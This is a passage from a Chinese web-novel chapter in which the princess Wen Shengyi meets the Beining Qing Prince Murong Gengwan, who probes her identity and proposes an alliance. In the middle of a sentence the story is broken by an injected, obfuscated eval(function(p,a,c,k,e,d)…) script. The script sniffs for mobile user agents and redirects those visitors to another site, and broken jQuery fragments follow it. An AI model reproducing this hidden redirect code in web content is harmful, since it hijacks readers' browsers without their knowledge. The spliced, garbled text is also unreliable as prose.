那二人走在前面给温盛宜带着路,一路上没人说话。
店小二是因为纯粹的不敢,不论他不知道身份的温盛宜,单那侍卫可就是顶头主子身边的得力干将,地位摆在那儿,他怎敢逾越?
而那侍卫则是因为知道温盛宜身份不简单,主子都夸过这人聪明,他怕多说多错,也不敢开口。
温盛宜缀在后面不紧不慢地看着前方二人的动作,大概猜到了这个愣头青是个地位不一般的。
穿过铺子旁的小门,前面二人突然在通往后院的小路旁的一个拐角处径直走向路旁的墙壁,墙壁发出一声声响,随即一个小型洞口便展现在温盛宜眼前。
被那二人挡着,她并未看清他们的具体动作。
她眯了眯眼,心下有些未知的恼火,不动声色继续跟在他们身后。
待确认温盛宜已进入后,那侍卫手疾眼快地拿过旁边墙上的烛火关了石门,温盛宜都要被他这动作气笑了。
这是一点都不藏地在防她啊?
石门后是一道简单的向上的石梯,路的尽头是一扇没有禁制的门,那侍卫转身示意温盛宜跟上,二人一同走了进去,伪装成店小二的人并没有跟上,只是候在了木门后。
温盛宜看到门后是一间客房,隐有人声从外面传来,加之方才那石阶走的距离略有些高,她断定这里应是布料坊的三楼。
进入房间后,那侍卫便径直出了暗道,温盛宜能感觉到他在停顿了些时间后便出了门,不过应是候在了房外,因为她看到了从门后传来的若隐若无的身影。
出了暗道后,她转身看了一眼,这才明白自己竟是从一个靠着墙的衣柜里出来的,这暗道竟是与古燕的墙匮有异曲同工之妙。
她能看到屏风后有一抹从容的身影,能听到那人不紧不慢的倒茶声,她转了脚步,向屏风后走去。
掀起屏风旁的罗纱,她便直直对上了一双带着侵略性、又透出几分笑意的眸子。
前方小榻上坐着一名手中正把玩着茶杯的女子,她看着年轻,约莫只有二十岁,但浑身上下却散发着收不住的威严与权贵气息,一袭凌厉的衣襟绣大片方生花的黑色锦袍和高高束起的墨发更是衬得她整个人如沉眠的虎一般,直让人觉得若是被那双细长的眼盯上,天涯海角,都会永无宁日。
只不过,这些人里,不可能包括温盛宜。
目光对视间,二人都从对方的眼中看到了对彼此的浓浓的兴趣。
那女子将茶杯放在榻上的桌子上,对着她微微点头,用手示意着自己对面的位置。
“来坐坐?”
温盛宜闻言也不客气,三两步上前便坐在了榻上,刚想给自己倒杯茶,低头却看到自己面前的杯子上已经倒满了。
这人方才原是在给自己倒茶么?
那女子看着她,悠悠开口:“在下北宁慕容更晚,不知姑娘怎么称呼?”
慕容更晚?北宁青王?
温盛宜这下是真有些震惊了,这位青王在如今的北宁朝堂可是了不得的人物。
北宁当今的皇帝昏庸无能,孩子倒是生了许多,只可惜量多却没个优质的,故而多年来太子之位也一直空缺。如今二十二岁,七年前步入北宁朝堂的青王与几年前莫名其妙展露出不俗实力的晋王是太子位唯二的热门人选。
不过这位青王殿下仗着皇帝的宠爱和性别的优势,当选太子势头比晋王要猛得多。
无他,一是因为青王的生母德妃是皇帝曾经最宠爱的妃子,青王又与她长得像,故而在流落回归后,可谓是得到了皇帝从前从未有过的偏心与宠爱。
二来,则是与北宁的历史有关。
北宁的开国皇帝是一位骁勇威猛的女子,故而在政权更迭极快的北宁,历史上也是有过多位女帝的,甚至曾经发生过男性执政时朝廷命官大喊“女当为正统”,后撞柱而死的事。
所以,这位青王集帝王宠爱与女性身份为一体,再加上不俗的实力,而且那位所谓的“青王妃”还是丞相家的长子,这于她来说更是如虎添翼。
在温盛宜,或者说是大部分九霄人看来,她就是北宁下一位女帝了。
至于那位晋王,世人皆知他从前也不过是个无能的纨绔罢了,实力怎么来的大家不知道,但这样从前就有污点的人,又怎么配当皇帝呢?
打发去干点活得了。
而此刻她竟然在这里看到了这位北宁未来的女帝?
更重要的是,连温盛宜这位不怎么关注他国国情的人都知道北宁的青王与国师极其不合,她怎么会出现在这由北宁国师管辖的黑市里?而且似乎还在这里发展了自己的势力……
脑海里思索间,她也与慕容更晚回话着:“青王殿下?”
慕容更晚闻言大方一笑:“对,是我。”
温盛宜看着她的眼睛,缓缓开口,回道:“古燕国,柏繁。”
慕容更晚闻言似了然地点了点头,但温盛宜知道,她一定没有相信自己的话。
“青王殿下是如何找上我的?”她开口问道。
她还真的挺好奇的,他们四人都是掩了身份来的北宁,一路也都小心翼翼的没生出什么祸端,这位青王殿下是如何这么准确地找上自己的?
慕容更晚像是早知道她会问这个问题一样,闻言便直接开口:“睿王府早间便生了一场大火,我派人过去‘救济’了一番皇弟,恰好看见了你们被他当作刺客带回了府里以及——”
她直直看向温盛宜的眼睛:“不久之后睿王府的人便把你们恭恭敬敬地送了出来。”
“这样啊。”温盛宜不去看她,点了点头后便自顾自喝茶。
见接下来慕容更晚没有说话的迹象,她也不急,端起茶杯开始悠悠品茶。
是这人要想方设法把自己带来的,再怎么说,她定是要比自己着急的。
况且,自己在来的时候早已悄无声息地在一路上留下了溯痕香,若是自己没能在寅时回到最初约好的地方,翼鱼会找来的。
别说,这茶还真不错。
“砰——”
是从旁边传来的茶杯被放在桌子上的声音。
“繁姑娘好定力。”是慕容更晚,她的声音里带了些不易察觉地威严。
温盛宜笑了笑,怎么,这人试探自己还不允许自己淡定了?
她把茶杯举起向慕容更晚示意,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042100|178820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又开口实话实说:“反正我不急。”
“你应该不是普通的古燕商户人家吧?”慕容更晚眯了眯眼,对她说道。
话毕,她也没有要等温盛宜答案的意思,又接着说道:“我们合作如何?”
“合作?”温盛宜闻言露出个无害的笑,拖着调子反问出口,“你我之间有什么好合作的?殿下身份尊贵,有什么做不到的?在下不过是和三五亲朋一起来这北宁游玩——”
“古燕春江发现血池和黑衣人组织的是你们吧?”她的话还没说完就被对面的慕容更晚打断了,她开口柔声说道,“你们应是在里面发现了什么东西,这才一路追到了北宁?”
按理说白重清并没有告知北宁春江的事,这位青王殿下也不该知道的这么具体。
而且每日里来北宁的人这么多,她又如何断定自己一定就是与春江有关的那一个呢?
脑海中思索着,温盛宜的脸色迷茫了几分,摇了摇头开口道:“这是真的听不懂青王殿下在说什么了,我说过了,只是与好友一起来月港玩玩,受了些无妄之灾罢了。”
“也正因为无辜,所以睿王殿下便好心将我四人放了出来。”
慕容更晚原本以为可以借此诈一诈这人,没想到这人反应这么快,可她本就是听那人说的,这该怎么解释?
自己和那人的关系还远不到能暴露的时候。
无奈,青王殿下只能开始耍无赖:“反正我就是知道你和你那几位好友与春江有关。”
温盛宜睁大了眼,不是说北宁这位青王城府极深,有帝王风范吗?怎么还耍无赖呢!
她扶额,语气凌冽道:“青王殿下,先不说在下确实不知你口中的那些什么血池之类的东西,这东西听着如此诡异,算是朝廷的秘密了吧?你这是……在我古燕安插了间谍?”
约莫七十年前的一纸合约,九霄各国定下了百年互不侵扰的规定,其中就明确说明,各国之间可以进行各种经济政治上的往来,但绝不允许有窥探别国朝政机密的事情存在。
在这个合约的约束下,如今的各国可以说是互相友好,起码过去了将近七十年,没有任何违反合约或是发动战争的事情发生。
在这种前提下,若是这慕容更晚真的对她古燕做了什么不该做的事,不仅是违背了先祖的规则,更是相当于主动搅弄大陆风云,此后只怕会有更多异样发生。
若真是这样,温盛宜想,她不介意让北宁未来换一个皇帝。
慕容更晚原本的猜测也只是觉得这人或许是古燕某家贵族家的女儿,可看她这话语和面上的姿态,却是一点都不比自己差。
刹那间,她不知为何竟想到了古燕那位传闻中在外清修的、无人知晓其真容的安宁长公主。
新帝刚刚登基不过三日,她便入都城揭发先帝假面,确实可以用“日夜兼程”来形容,可倘若……这本就是那位长公主做的局呢?
况且,古燕的新帝对这位的态度也是耐人寻味,力排众议立她为长公主,下令她与他同尊。
这真的是一个大脑清明的帝王会说的话吗?
她看向温盛宜的眸中缓缓划过一丝探究,会是她吗?